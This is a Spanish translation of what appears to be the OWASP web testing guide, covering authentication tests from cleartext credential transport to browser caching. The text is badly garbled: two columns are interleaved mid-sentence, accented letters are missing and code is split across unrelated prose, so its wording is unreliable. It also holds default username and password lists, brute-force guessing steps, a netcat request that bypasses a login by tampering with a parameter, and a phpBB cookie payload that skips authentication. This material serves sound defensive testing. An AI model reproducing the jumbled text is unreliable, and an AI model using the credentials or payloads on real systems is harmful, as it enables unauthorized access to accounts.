Content-length: 64
delegated_service=218&User=test&Pass=test&Submit=SUBMIT Podemos ver que se enva la peticin a www.example.com:443/cgi-

bin/login.cgi mediante el protocolo HTTPS. Esto garantiza que nuestras
credenciales se envan mediante un canal encriptado y que las credenciales
no son legibles por un usuario malicioso que utilice un sniffer.
En este ejemplo, el evaluador puede entender que la solicitud POST enva
los datos a la pgina www.example.com/AuthenticationServlet usando
HTTP. Los datos de respuesta se transmiten sin cifrado y un usuario
malintencionado puede interceptar el usuario y la contrasea simplemente Ejemplo 3: Envo de datos con el mtodo POST a travs de HTTPS en
una pgina accesible a travs de HTTP
al olfatear la red con una herramienta como Wireshark.
Ahora, imagine una pgina web accesible a travs de HTTP y que slo los
datos enviados desde el formulario de autenticacin se transmiten a travs
Ejemplo 2: Envo de datos con el mtodo POST a travs de HTTPS de HTTPS. Esta situacin ocurre, por ejemplo, cuando estamos en un portal
de una gran empresa que ofrece diferente informacin y servicios que estn
Supongamos que nuestra aplicacin web utiliza el protocolo HTTPS para disponibles pblicamente, sin identificacin; pero el sitio tambin tiene una
cifrar los datos que estamos enviando (o por lo menos para la transmisin seccin privada, accesible desde la pgina de inicio cuando los usuarios
de datos confidenciales, como credenciales). En este caso, cuando se inicia la inician una sesin; por lo que, al intentar iniciar la sesin, el encabezado de
aplicacin web, el encabezado de la solicitud POST sera similar al siguiente: la solicitud se ver como el siguiente ejemplo:

101
POST https://www.example.com:443/login.do HTTP/1.1 GET https://www.example.com/success.html?user=test&pass=test

HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Keep-Alive: 300
Referer: http://www.example.com/homepage.do
Referer: https://www.example.com/form.html
Cookie:
SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
6pLhjkW6F
If-None-Match: 43a01-5b-4868915f
Content-Type: application/x-www-form-urlencoded
Content-length: 45
User=test&Pass=test&portal=ExamplePortal
Se puede ver que los datos se transfieren en texto claro en la URL y no en

Podemos ver que nuestra peticin se dirige a el cuerpo de la peticin como antes. Pero debemos considerar que
www.example.com:443/login.do usando HTTPS. Pero si echamos un SSL/TLS es un protocolo de nivel 5, un nivel inferior al HTTP, por lo que
vistazo al encabezado Referer (la pgina desde la que ingresamos), es el paquete entero de HTTP todava est encriptado haciendo imposible la
www.example.com/homepage.do y es accesible a travs de un HTTP lectura de la URL para un usuario malintencionado que utiliza un sniffer.
simple. Aunque estamos enviando datos a travs de HTTPS, esta Sin embargo, como se dijo antes, no es una buena prctica utilizar el
implementacin puede permitir ataques SSLStrip (un tipo de ataque de mtodo GET para enviar datos a una aplicacin web, ya que la
Hombre en Medio). informacin contenida en la URL se puede almacenar en muchos lugares
tales como registros de proxys y servidores web.
Ejemplo 4: Envo de datos con el mtodo GET a travs de HTTPS

Prueba Caja Gris
En este ltimo ejemplo, supongamos que la aplicacin transfiere datos
mediante el mtodo GET. Este mtodo nunca se debe utilizar en un Hable con los desarrolladores de la aplicacin web y trate de entender si
formulario que transmite datos sensibles como nombre de usuario y son conscientes de las diferencias entre los protocolos HTTP y HTTPS y
contrasea, porque los datos se muestran en texto claro en la URL y esto por qu deben usar HTTPS para la transmisin de informacin sensible.
provoca todo un conjunto de temas de seguridad. Por ejemplo, la URL que Luego, revise con ellos si se utiliza HTTPS en cada peticin sensible, como
se solicita se encuentra fcilmente disponible en los registros del servidor o las de registro en pginas, para evitar que usuarios no autorizados
en el historial del navegador, lo que hace que sus datos sensibles puedan ser intercepten los datos.
recuperados por personas no autorizadas. Este ejemplo es puramente
demostrativo, pero, en realidad, se recomienda enfticamente utilizar mejor
el mtodo POST.
Herramientas

102
WebScarab Aplicaciones con cuentas predeterminadas fijas incorporadas con un

usuario y contrasea predefinido.
OWASP Zed Attack Proxy (ZAP)
Aplicaciones que no obligan al usuario a cambiar las credenciales por
defecto despus de la primera sesin.
Referencias
Libros Blancos
HTTP/1.1: Security Considerations - w3.org Cmo probar
SSL is not about encryption Pruebas de las credenciales por defecto de aplicaciones comunes
En la prueba de Caja Negra, el evaluador no sabe nada acerca de la

aplicacin y su infraestructura subyacente. En realidad, esto no suele ser
Pruebas de las credenciales por defecto cierto, y se conoce alguna informacin acerca de la aplicacin.
Supongamos que usted ha identificado, mediante el uso de las tcnicas
(OTG-AUTHN-002) descritas en esta gua de pruebas bajo el captulo de recoleccin de
informacin, por lo menos una o ms aplicaciones comunes que pueden
Resumen contener interfaces administrativas accesibles.
En la actualidad, las aplicaciones web a menudo hacen uso de software

popular de cdigo abierto o comercial que puede ser instalado en
servidores con configuracin mnima o personalizacin para requisitos Cuando usted ha identificado una interfaz de aplicacin, por ejemplo, una
particulares del administrador del servidor. Por otra parte, muchos interfaz del router de web Cisco o un portal administrador Weblogic,
dispositivos de hardware (routers de red y servidores de base de datos) compruebe que los nombres de usuario y contraseas conocidos para
ofrecen configuracin basada en web o interfaces administrativas. estos dispositivos no resulten en una autenticacin exitosa. Para ello
puede consultar la documentacin del fabricante o, de una manera mucho
ms simple, usted puede encontrar credenciales comunes mediante la
bsqueda de un motor o utilizando uno de los sitios o herramientas
A menudo estas aplicaciones, una vez instaladas, no estn configuradas enumeradas en la seccin de referencia.
correctamente y las credenciales predeterminadas proporcionadas para
la autenticacin inicial y configuracin nunca son cambiadas. Estas
credenciales predeterminadas son bien conocidas por los evaluadores de
penetracin y, por desgracia, tambin por atacantes maliciosos que Cuando se enfrente a aplicaciones donde no tiene una lista de cuentas de
pueden utilizarlas para tener acceso a varios tipos de aplicaciones. usuario comn o por defecto (por ejemplo debido a que la aplicacin no
es
Adems, en muchas situaciones, cuando se crea una nueva cuenta en una
aplicacin, una contrasea por defecto (con algunas caractersticas
estndar) se genera. Si esta contrasea es predecible y el usuario no la
cambia en el primer acceso, esto puede llevar a un atacante a obtener conocida), podemos intentar adivinar las credenciales vlidas por
acceso no autorizado a la aplicacin. defecto. Note que la aplicacin probada puede tener una poltica de
bloqueo de cuentas habilitada y mltiples intentos de adivinar la
contrasea con un nombre de usuario conocido, lo que puede causar que
la cuenta se bloquee. Si es posible bloquear la cuenta del administrador,
La causa principal de este problema puede ser identificada como: puede ser problemtico para el administrador del sistema restablecerla.
Personal tcnico sin experiencia que no es consciente de la importancia de Muchas aplicaciones tienen mensajes de error detallados que informan a
cambiar las contraseas por defecto en componentes de la infraestructura los usuarios sobre la validez de nombres de usuario introducidos. Esta
instalada o dejar la contrasea por defecto para "facilidad de informacin ser til cuando se busquen cuentas de usuario por defecto
mantenimiento". o predecibles. Dicha funcionalidad puede encontrarse, por ejemplo, en las
pginas de registro, restablecimiento de contrasea, contrasea olvidada
Programadores que dejan puertas traseras para tener fcil acceso y probar y de inscripcin. Una vez que ha encontrado un nombre de usuario por
su aplicacin y despus olvidan eliminarlas. defecto, tambin podra empezar a adivinar contraseas para esta cuenta.

103
Busque nombres de cuentas y contraseas en los comentarios del cdigo

fuente. Tambin busque en directorios de respaldo el cdigo fuente (o copias
Puede encontrar ms informacin acerca de este procedimiento en la de seguridad del cdigo fuente) que pueden contener comentarios y cdigos
seccin Probando la enumeracin de usuarios y cuentas de usuario interesantes.
predecibles y en la seccin de Probando polticas de contraseas dbiles.
Prueba de las contraseas por defecto en cuentas nuevas

Puesto que estos tipos de credenciales predeterminadas estn limitados a
menudo a cuentas administrativas, puede proceder de la siguiente Cuando se crea una cuenta nueva en una aplicacin, tambin puede
manera: ocurrir que a la cuenta se le asigne una contrasea por defecto. Esta
contrasea podra tener algunas caractersticas estndar, lo que la hace
predecible.
Intente usar los siguientes nombres de usuario - admin, administrator,

root, system, guest, operator, o super. stos son populares entre los
administradores de sistemas y son de uso frecuente. Adems, podra tratar Si el usuario no la cambia en el primer uso (esto sucede a menudo si el
qa, test, test1, testing y nombres similares. Pruebe cualquier usuario no est obligado a cambiarlo), o si el usuario todava no ha
combinacin de los anteriores en el nombre de usuario y los campos de iniciado una sesin en la aplicacin, esto puede llevar a un atacante a
contrasea. Si la aplicacin es vulnerable a la enumeracin de nombres de obtener acceso no autorizado a la aplicacin.
usuario y logra identificar con xito cualquiera de los nombres de usuario
anteriores, intente las contraseas de una manera similar. Adems, intente con
una contrasea vaca o una de los siguientes password, pass123,
password123, admin, o guest con las cuentas anteriores o cualquier otra El asesoramiento previo sobre una posible poltica de bloqueo y mensajes
cuenta enumerada. Tambin puede intentar ms permutaciones de las de error detallados tambin son aplicables aqu, cuando se evalan las
anteriores. Si estas contraseas fallan, valdra la pena intentar usar una lista contraseas por defecto.
comn de nombres de usuario y contraseas y realizar varias peticiones contra
la aplicacin. Esto puede, sin duda, ser secuenciado para ahorrar tiempo.
Los usuarios administradores de una aplicacin se nombran a menudo con el Los siguientes pasos pueden aplicarse para probar estos tipos de
nombre de la aplicacin u organizacin. Esto significa que si est probando credenciales predeterminadas:
una aplicacin denominada "Oscuridad", intente usar oscuridad/oscuridad o
cualquier otra combinacin similar como el nombre de usuario y contrasea.
Cuando se realiza una prueba para un cliente, intntelo usando los nombres de
contactos que reciban como nombres de usuario con contraseas comunes. Mirar en la pgina de registro de usuarios puede ayudar a determinar el
Las direcciones de correo electrnico de clientes revelan el acuerdo de formato esperado y la longitud mnima o mxima de nombres y contraseas
nombres para cuentas del usuario: si el empleado John Doe tiene la direccin de la aplicacin. Si no existe una pgina de registro de usuarios, determine si
de correo electrnico [email protected], puede tratar de encontrar los la organizacin utiliza un acuerdo de nomenclatura estndar para los nombres
nombres de los administradores de sistemas en las redes sociales y adivinar su de usuario como su direccin de correo electrnico o el nombre antes de la
nombre de usuario mediante la aplicacin de la misma convencin a su "@" en el correo electrnico.
nombre.
Trate de extrapolar, a partir de la aplicacin, cmo se generan los nombres
de usuario. Por ejemplo, un usuario puede escoger su propio nombre de
usuario o el sistema genera un nombre de cuenta para el usuario basado en
Trate de usar todos los nombres de usuario anteriores con contraseas en alguna informacin personal o usando una secuencia predecible? Si la
blanco. aplicacin genera los nombres de cuenta en una secuencia predecible, como
user7811, trate de disolver recursivamente todas las cuentas posibles. Si puede
Revise la fuente de la pgina y JavaScript, ya sea a travs de un proxy o identificar una respuesta diferente de la aplicacin cuando se utiliza un
mediante la visualizacin de la fuente. Busque cualquier referencia a los nombre de usuario vlido y una contrasea incorrecta, entonces puede intentar
usuarios y contraseas en la fuente. Por ejemplo If username=admin then un ataque forzoso con el nombre de usuario vlido (o rpidamente probar
starturl=/admin.asp else /index.asp. (para un registro exitoso versus un cualquiera de las contraseas comunes identificadas antes en la seccin de
registro fallido).Tambin, si usted tiene una cuenta vlida, entonces registre y referencia).
revise cada solicitud y respuesta para un registro vlido versus un registro no
vlido, como parmetros adicionales ocultos, peticiones GET interesantes
(login = yes), etc.
Trate de determinar si la contrasea generada por el sistema es predecible.
Para ello, cree rpidamente muchas cuentas nuevas, una tras otra, para que
pueda comparar y determinar si las contraseas son predecibles. Si son
104
previsibles, intente correlacionar estas con los nombres de usuario o las

cuentas enumeradas y utilizarlas como base para un ataque forzado.
Referencias
Si usted ha identificado el acuerdo de nomenclatura correcta para el nombre
de usuario, trate de "forzar" contraseas con alguna secuencia predecible Libros Blancos
comn, por ejemplo, las fechas de nacimiento.
CIRT: cirt.net
Trate de usar todos los nombres de usuario anteriores con contraseas en
blanco, o utilice tambin el nombre de usuario como valor de la contrasea. Government Security - Default Logins and Passwords for Networked
Devices: governmentsecurity.org
Virus.org: virus.org
Prueba de Caja Gris
Los siguientes pasos se basan completamente en un enfoque de Caja Gris.

Si slo dispone de una parte de esta informacin, consulte las pruebas de
Caja Negra para rellenar los espacios.
Pruebas para determinar un mecanismo de
bloqueo dbil (OTG-AUTHN-003)
Hable con el personal de IT para determinar qu contraseas utilizan para el
acceso administrativo y cmo se lleva a cabo la administracin de la Resumen
aplicacin.
Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza
bruta o adivinanza de contraseas. Las cuentas se bloquean normalmente
despus de tres a cinco intentos de inicio de sesin sin xito y solo
Pregunte al personal de IT si se cambian las contraseas por defecto y si las
pueden ser desbloqueadas despus de un periodo determinado de
cuentas de usuario por defecto estn deshabilitadas.
tiempo, a travs de la intervencin de un administrador. Los mecanismos
de bloqueo de cuenta requieren un equilibrio entre la proteccin de
Examine la base de datos del usuario en busca de credenciales
cuentas de acceso no autorizado y proteger a los usuarios de una negativa
predeterminadas como se describe en la seccin de pruebas de Caja Negra.
al acceso autorizado.
Tambin busque campos de contrasea vacos.
Examine el encriptado de cdigo duro para nombres de usuario y

contraseas.
Tome en cuenta que esta prueba debe cubrir todos los aspectos de
Verifique los archivos de configuracin que pueden contener nombres de autenticacin donde los mecanismos de bloqueo seran apropiados, por
usuario y contraseas. ejemplo, cuando al usuario se le presentan preguntas de seguridad en
mecanismos de contrasea olvidada (ver Pruebas para determinar la
Examine la poltica de contraseas y, si la aplicacin genera sus propias seguridad dbil de pregunta/respuesta (OTG-AUTHN-008)).
contraseas para los usuarios nuevos, revise la poltica en el uso de este
procedimiento.
Sin un mecanismo de bloqueo fuerte, la aplicacin puede ser susceptible a

ataques de fuerza bruta. Despus de un ataque de fuerza bruta exitoso,
un usuario malintencionado podra tener acceso a:
Herramientas
Informacin o datos confidenciales: Las secciones privadas de una
Burp Intruder: portswigger.net aplicacin web podran revelar documentos confidenciales, datos de
perfil de los usuarios, informacin financiera, datos bancarios, relaciones
THC Hydra: thc.org de los usuarios, etc..
Brutus: hoobie.net
Nikto 2: cirt.net Los paneles de administracin: Estas secciones son utilizadas por los
webmasters para gestionar (modificar, borrar, aadir) el contenido de

105
aplicaciones web, gestin de creacin de usuarios, asignar diferentes [6] Inicie la sesin con la contrasea correcta. La aplicacin devuelve "su
privilegios a los usuarios, etc. cuenta est bloqueada.", confirmando as que la cuenta se bloquea
despus de cinco intentos de autenticacin incorrecta.
[7] Intente entrar con la contrasea correcta cinco minutos ms tarde. La

Oportunidades para nuevos ataques: Las secciones de una aplicacin aplicacin devuelve "su cuenta est bloqueada.", lo que demuestra que el
web autenticadas pueden contener vulnerabilidades que no estn mecanismo de bloqueo no se desbloquea automticamente despus de
cinco minutos.
[8] Intente entrar con la contrasea correcta diez minutos ms tarde. La

presentes en la seccin pblica de la aplicacin web y pueden contener aplicacin devuelve "su cuenta est bloqueada.", lo que demuestra que el
funcionalidades avanzadas que no estn disponibles para los usuarios mecanismo de bloqueo no se desbloquea automticamente despus de
pblicos. diez minutos.
[9] Inicie xitosamente la sesin con la contrasea correcta quince

minutos ms tarde, lo que demuestra que el mecanismo de bloqueo se
Objetivos de la prueba desbloquea automticamente despus de un perodo de diez a quince
minutos.
Evaluar la capacidad del mecanismo de bloqueo de cuentas para mitigar
el ingreso forzado adivinando contraseas.
Evaluar la resistencia del mecanismo de liberacin para abrir sin Un CAPTCHA puede dificultar los ataques de fuerza bruta, pero puede
autorizacin la cuenta. venir con su propio conjunto de debilidades (ver Probando el CAPTCHA)
y no debe reemplazar a un mecanismo de bloqueo.
Cmo probar
Para evaluar la resistencia del mecanismo de liberacin para desbloquear
Por lo general, para probar la fuerza de los mecanismos de bloqueo, se la cuenta, inicie el mecanismo de desbloqueo y busque las debilidades.
necesitar acceso a una cuenta a la que usted est dispuesto o pueda
darse el lujo de bloquear. Si tiene solo una cuenta con la que puede iniciar
una sesin en la aplicacin web, realice esta prueba al final del plan de
pruebas para evitar que usted no pueda continuar su prueba debido a una Los mecanismos tipicos de desbloqueo pueden involucrar preguntas
cuenta bloqueada. secretas o un link de desbloqueo por correo electrnico.El enlace de
desbloqueo deber ser un enlace nico de un solo uso, para evitar que un
atacante adivine o reproduzca el enlace y realice ataques forzosos en
lotes. Las preguntas y respuestas secretas deben ser fuertes (ver
Para evaluar la capacidad del mecanismo de bloqueo de cuentas para Probando pregunta/respuesta de seguridad dbil).
mitigar el forzado o adivinanza de contraseas, intente realizar un
registro invlido mediante el uso de la contrasea incorrecta varias veces,
antes de utilizar la contrasea correcta para verificar que la cuenta fue
bloqueada. El siguiente es un ejemplo de la prueba:
Note que un mecanismo de desbloqueo debe ser utilizado para

desbloqueo de cuentas. No es lo mismo que un mecanismo de
[1] Intente iniciar la sesin con una contrasea incorrecta tres veces. recuperacin de contrasea.
[2] Inicie la sesin con la contrasea correcta, lo que demuestra que no se

activa el mecanismo de bloqueo despus de tres intentos de
autenticacin incorrecta. Los factores a considerar cuando se implementa un mecanismo de
bloqueo de cuenta son los siguientes:
[3] Intente iniciar la sesin con una contrasea incorrecta cuatro veces.
[4] Inicie la sesin con la contrasea correcta, lo que demuestra que no se

activa el mecanismo de bloqueo despus de cuatro intentos de [1] Cul es el riesgo de forzado o adivinanza de contraseas en la aplicacin?
autenticacin incorrecta.
[2] Basta un CAPTCHA para mitigar este riesgo?
[5] Intente iniciar la sesin con una contrasea incorrecta cinco veces.
106
[3] El nmero de intentos de registro fallidos antes del bloqueo. Si el umbral

de bloqueo es bajo, entonces los usuarios vlidos pueden ser bloqueados a
menudo. Si el umbral de bloqueo es alto, entonces el atacante tiene ms
intentos para forzar la cuenta antes de que se bloquee. Dependiendo del
propsito de la aplicacin, una rango entre cinco a diez intentos sin xito es
un umbral de bloqueo tpico.
[4] Cmo se desbloquean las cuentas? Pruebas para eludir el esquema de

Manualmente, por un administrador: este es el mtodo ms seguro de autenticacin (OTG-AUTHN-004)
desbloqueo, pero puede causar molestias a los usuarios y tomar tiempo
"valioso" del administrador. Resumen
- Observe que el administrador tambin debe tener un mtodo de recuperacin Mientras que la mayora de las aplicaciones requieren autenticacin para
en caso de que su cuenta sea bloqueada. tener acceso a informacin privada o para ejecutar las tareas, no todos los
mtodos de autenticacin son capaces de proporcionar una seguridad
- El mecanismo de desbloqueo puede conducir a un ataque de negacin de adecuada. La negligencia, ignorancia o una simple subvaloracin de las
servicio si el objetivo de un atacante es bloquear las cuentas de los usuarios de amenazas de seguridad, a menudo resultan en esquemas de autenticacin
la aplicacin web.
que pueden evitarse simplemente obviando el registro en la pgina y
llamando directamente a una pgina interna que se supone debe
Despus de un perodo de tiempo: Cul es la duracin del bloqueo? Es
accederse slo despus de que se realiz la autenticacin.
suficiente para que la aplicacin est protegida? Por ejemplo, una duracin del
bloqueo de cinco a treinta minutos puede ser un buen acuerdo entre mitigar
los ataques de fuerza bruta y molestar a los usuarios vlidos.
Adems, a menudo es posible sortear las medidas de autenticacin
A travs de un mecanismo de autoservicio: Como se dijo antes, este
alterando las solicitudes y engaando a la aplicacin a pesar deque el
mecanismo de autoservicio debe ser lo suficientemente seguro para evitar que
usuario ya est autenticado. Esto se puede lograr modificando el
el atacante pueda abrir cuentas por s mismo.
parmetro de URL determinado, mediante la manipulacin de la forma o
por falsificacin de las sesiones.
Referencias
Vea el articulo de OWASP Sobre Ataques Forzosos. Los problemas relacionados con el esquema de autenticacin pueden
encontrarse en diferentes etapas del ciclo de vida de desarrollo de
software (SDLC), como las fases de diseo, desarrollo e implementacin:
Remediacin
Aplique mecanismos de desbloqueo de cuentas dependiendo del nivel de En los errores de la fase de diseo, se puede incluir una definicin
riesgo. En orden de menor a mayor seguridad: equivocada de las secciones de la aplicacin a proteger, la opcin de no
aplicar protocolos de encriptacin fuertes para asegurar la transmisin
de las credenciales y muchos ms.
En los errores de la fase de desarrollo, se puede incluir la aplicacin

incorrecta de la funcionalidad de validacin de entrada o sin seguir las
[1] Bloqueo y desbloqueo temporizado. mejores prcticas de seguridad para el idioma especfico.
[2] Desbloqueo con autoservicio (desbloqueo que enva un correo electrnico a la En la fase de implementacin de la aplicacin, puede haber problemas
direccin de correo electrnico registrada). durante la instalacin de la aplicacin (actividades de instalacin y
configuracin) debido a la falta de habilidades tcnicas requeridas o por
[3] Desbloqueo manual por un administrador. falta de una buena documentacin.
[4] Desbloqueo manual por un administrador con identificacin de usuario

positiva.
Cmo probar

107
Hay varios mtodos para eludir el esquema de autenticacin que es usado

http://www.site.com/page.asp?authenticated=no
por una aplicacin web:
Solicitud de pgina directa (navegacin forzada)
Modificacin de parmetros
raven@blackbox /home $nc www.site.com 80

Prediccin de sesin ID
GET /page.asp?authenticated=yes HTTP/1.0

Inyeccin de SQL
HTTP/1.1 200 OK
Solicitud de pgina directa
Date: Sat, 11 Nov 2006 10:22:44 GMT
Si una aplicacin web implementa el control de acceso slo en el registro
en la pgina, el esquema de autenticacin se podra eludir. Por ejemplo, si
Server: Apache
un usuario solicita directamente una pgina diferente a travs de la
navegacin forzada, esa pgina puede no comprobar las credenciales del Connection: close
usuario antes de conceder el acceso. Intente acceder directamente a una
pgina protegida a travs de la barra de direcciones en su navegador para Content-Type: text/html; charset=iso-8859-1
utilizar este mtodo de prueba.
<!DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN>
<HTML><HEAD>
</HEAD><BODY>
<H1>You Are Authenticated</H1>
</BODY></HTML>
Modificacin de parmetros
Otro problema relacionado con el diseo de la autenticacin es cuando la

aplicacin verifica un inicio de sesin exitosa a base de parmetros de
valor fijo. Un usuario podra modificar estos parmetros para acceder a
las reas protegidas sin proporcionar credenciales vlidas. En el ejemplo
siguiente, el parmetro "authenticated" se cambia a un valor de "yes", que
le permite al usuario acceder. En este ejemplo, el parmetro est en la
URL, pero un proxy tambin podra ser utilizado para modificar el
parmetro, especialmente cuando los parmetros se envan como
elementos de formulario en una peticin POST o cuando los parmetros
se almacenan en una cookie.
Prediccin de sesin ID
Muchas aplicaciones web gestionan la autenticacin mediante el uso de

identificadores de sesin (ID de la sesin). Por lo tanto, si es previsible la
generacin de Identificadores de Sesin, un usuario malintencionado

108
podra ser capaz de encontrar un Identificador de Sesin vlida y obtener Inyeccin de SQL (Formulario de Autenticacin HTML)
acceso no autorizado a la aplicacin, hacindose pasar por un usuario
previamente autenticado. Una inyeccin de SQL es una tcnica de ataque ampliamente conocida.
Esta seccin no describir esta tcnica en detalle ya que hay varias
secciones en esta gua que explican tcnicas de inyeccin ms all del
alcance de esta seccin.
En la siguiente figura, los valores dentro de las cookies aumentan
linealmente, por lo que podra ser fcil para un atacante adivinar un
Identificador de Sesin vlida.
La siguiente figura muestra que con un simple ataque de inyeccin de

SQL, a veces es posible eludir el formulario de autenticacin.
En la siguiente figura, los valores dentro de las cookies cambian slo

parcialmente, por lo que es posible restringir un ataque de fuerza bruta a
los campos definidos que se muestran a continuacin.
Prueba de Caja Gris
Si un atacante ha podido obtener el cdigo fuente de la aplicacin

explotando una vulnerabilidad previamente descubierta (por ejemplo,
salto de directorio), o de un depsito web (aplicaciones de cdigo
abierto), podran realizarse ataques refinados contra la implementacin
del proceso de autenticacin.
En el ejemplo siguiente (PHPBB 2.0.13 - Vulnerabilidad de Salto de

Autenticacin), en la lnea 5 la funcin unserialize() analiza una cookie del
usuario y establece valores en el $row array. En la lnea 10, la contrasea
hash del usuario MD5, almacenada dentro de la base de datos de acceso
restringido, se compara a la que se suministra.

109
1. if ( isset($HTTP_COOKIE_VARS[$cookiename . _sid]) ||
2. { Pruebas para recordatorios de contraseas

3. $sessiondata = isset( $HTTP_COOKIE_VARS[$cookiename . _data] ) vulnerables (OTG-AUTHN-005)
?
Resumen
4.
Los navegadores a veces preguntarn al usuario si desea recordar la
5. unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename .
_data])) : array(); contrasea que acaba de ingresar. El navegador entonces almacenar la
contrasea e ingresar automticamente cada vez que el mismo formulario
6. de autenticacin sea visitado. Esto es una conveniencia para el usuario.
7. $sessionmethod = SESSION_METHOD_COOKIE; Adems, algunos sitios web ofrecen funcionalidades personalizadas de "
Recurdame" para permitir que los usuarios mantengan su sesin en un
8. } sistema de cliente especfico.
9.
10. if( md5($password) == $row[user_password] && $row[user_active]

) Tener al navegador guardando contraseas no es slo conveniente para
los usuarios finales, sino tambin para un atacante. Si un atacante puede
11. tener acceso al navegador de la vctima (por ejemplo, a travs de un
ataque de Cross Site Scripting, o a travs de un ordenador compartido),
12. { pueden recuperar las contraseas almacenadas.
No es extrao que los navegadores almacenen las contraseas de una

En PHP, una comparacin entre un valor de la cadena y un valor booleano (1 manera fcilmente recuperable, sino que, incluso, si el navegador
- "TRUE"(verdadero)) siempre es "TRUE", por lo que mediante el almacena contraseas encriptadas que slo pueden ser recuperadas
suministro de la siguiente cadena (la parte importante es "b:1") a la funcin mediante el uso de una contrasea maestra, un atacante podra recuperar
unserialize(), es posible eludir el control de autenticacin: la contrasea visitando el formulario de autenticacin de la aplicacin
web de destino, introducir el usuario de la vctima, y dejar que el
navegador introduzca la contrasea.
a:2:{s:11:autologinid;b:1;s:6:userid;s:1:2;}
Adicionalmente, donde se aplican funciones personalizadas de

"RememberMe", las debilidades en cmo la ficha es almacenada en el PC
del cliente (por ejemplo usando credenciales de base64 codificado como
Herramientas
ficha) podran exponer las contraseas de los usuarios. Desde principios
WebScarab del 2014, la mayora de navegadores principales anulan cualquier uso de
autocompletar = "off" con respecto a los formularios de contraseas y
WebGoat como resultado de esto las consultas previas ya que no son necesarias y
normalmente no se dan recomendaciones para desactivar esta
OWASP Zed Attack Proxy (ZAP) caracterstica. Sin embargo, esto tambin puede aplicarse a cosas como
secretos secundarios que se pueden almacenar en el navegador sin darse
cuenta.
Referencias
Libros Blancos Cmo probar
Mark Roxberry: PHPBB 2.0.13 vulnerability Busque las contraseas que se almacenan en una cookie. Examine las
cookies almacenadas por la aplicacin. Compruebe que las credenciales no se
David Endler: Session ID Brute Force Exploitation and Prediction - almacenan en texto claro, sino con funciones hash.
http://www.cgisecurity.com/lib/SessionIDs.pdf

110
Examinar el mecanismo de hashing: si se trata de un algoritmo comn, bien comparten la misma debilidad de presentar informacin sensible previamente
conocido, compruebe su fuerza; en las funciones hash de creacin propia ; mostrada.
intente varios nombres de usuario para comprobar si la funcin de hash es
fcilmente predecible.
Compruebe que las credenciales sean enviadas solamente durante la fase el La primera y ms simple prueba consiste en introducir informacin sensible
registro y no con cada solicitud a la aplicacin. en la aplicacin y cerrar la sesin. Entonces el evaluador hace clic en el botn
"Atrs" del navegador para comprobar si accede o muestra informacin
Considere otros campos sensibles (por ejemplo, una respuesta a una sensible ingresada anteriormente sin ser autenticado.
pregunta secreta que debe ingresarse en una cuenta de recuperacin de
contrasea o formulario de desbloqueo).
Si pulsamos el botn "Back", el evaluador puede acceder a pginas anteriores,

pero no acceder a las nuevas; entonces no es un problema de autenticacin,
Remediacin sino un problema de historia del navegador. Si estas pginas contienen datos
sensibles, esto significa que la aplicacin no le prohibi al navegador su
Asegrese que ninguna credencial sea almacenada en texto claro, o que almacenamiento.
sean fcilmente recuperables en forma codificada o encriptada en
cookies.
La autenticacin no debe, necesariamente, estar implicada en la prueba. Por

ejemplo, cuando un usuario introduce su direccin de correo electrnico para
Pruebas para buscar la debilidad de memoria cach del navegador inscribirse a un boletn, esta informacin puede recuperarse si no se la maneja
(OTG-AUTHN-006) adecuadamente.
Resumen
En esta fase el evaluador comprueba que la aplicacin indique correctamente El botn "Atrs" puede detenerse para que no muestre datos sensibles. Esto
al navegador que no recuerde datos sensibles. puede hacerse mediante:
Entregar la pgina a travs de https.
Los navegadores pueden almacenar informacin con fines de almacenamiento Ajustando el Control de Cach: a "must-revalidate"
en cach e historia. El almacenamiento en cach se utiliza para mejorar el
rendimiento; as la informacin que apareci previamente no necesita
descargarse otra vez. Se utilizan mecanismos de historia para conveniencia del
usuario, por lo que l puede ver exactamente lo que vio en el momento de Cache de navegador
obtener el recurso.
Aqu los evaluadores comprueban que la aplicacin no tiene fugas de
datos sensibles hacia la cach del navegador. Para ello, pueden utilizar un
proxy (como WebScarab) y buscar a travs de las respuestas del servidor
Si se muestra informacin sensible al usuario (como su direccin, datos de que pertenecen al tiempo de la sesin, verificando que para cada pgina
tarjeta de crdito, nmero de seguro social o usuario), esta informacin podra que contenga informacin confidencial, el servidor instruy al navegador
ser almacenada con fines de almacenamiento en cach o de historia y, por lo para que no almacene los datos en cach. Una directiva de este tipo puede
tanto, ser recuperables examinando la cach del navegador o pulsando el emitirse en los encabezados de respuesta HTTP:
botn "Atrs" del navegador.
Cache-Control: no-cache, no-store
Expires: 0
Cmo probar
Pragma: no-cache
Historia del navegador
Tcnicamente, el botn "Atrs" es una historia y no una memoria cach (ver

http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.13). La
memoria cach y la historia son dos entidades diferentes. Sin embargo,

111
Estas directivas son generalmente robustas, aunque indicadores Prueba de Caja Gris
adicionales pueden ser necesarios para el encabezado Cache-Control para
prevenir de una mejor manera los archivos vinculados persistentemente La metodologa para la prueba es equivalente al caso de la Caja Negra, ya
en el sistema de archivos. Estos incluyen: que en ambos escenarios los evaluadores tienen acceso completo a las
cabeceras de respuesta del servidor y el cdigo HTML. Sin embargo, con
Cache-Control: must-revalidate, pre-check=0, post-check=0, max-age=0, s- pruebas de Caja Gris, el evaluador puede tener acceso a las credenciales
maxage=0 de la cuenta que les permitir probar pginas sensibles que son
accesibles slo a usuarios autenticados.
HTTP/1.1:
Herramientas
OWASP Zed Attack Proxy
Firefox add-on CacheViewer2

HTTP/1.0:
Pragma: no-cache
Referencias
Expires: <past date or illegal value (e.g., 0)>
Libros Blancos
Caching in HTTP: w3.org

Por ejemplo, si los evaluadores estn probando una aplicacin de
comercio electrnico, deben buscar todas las pginas que contienen un
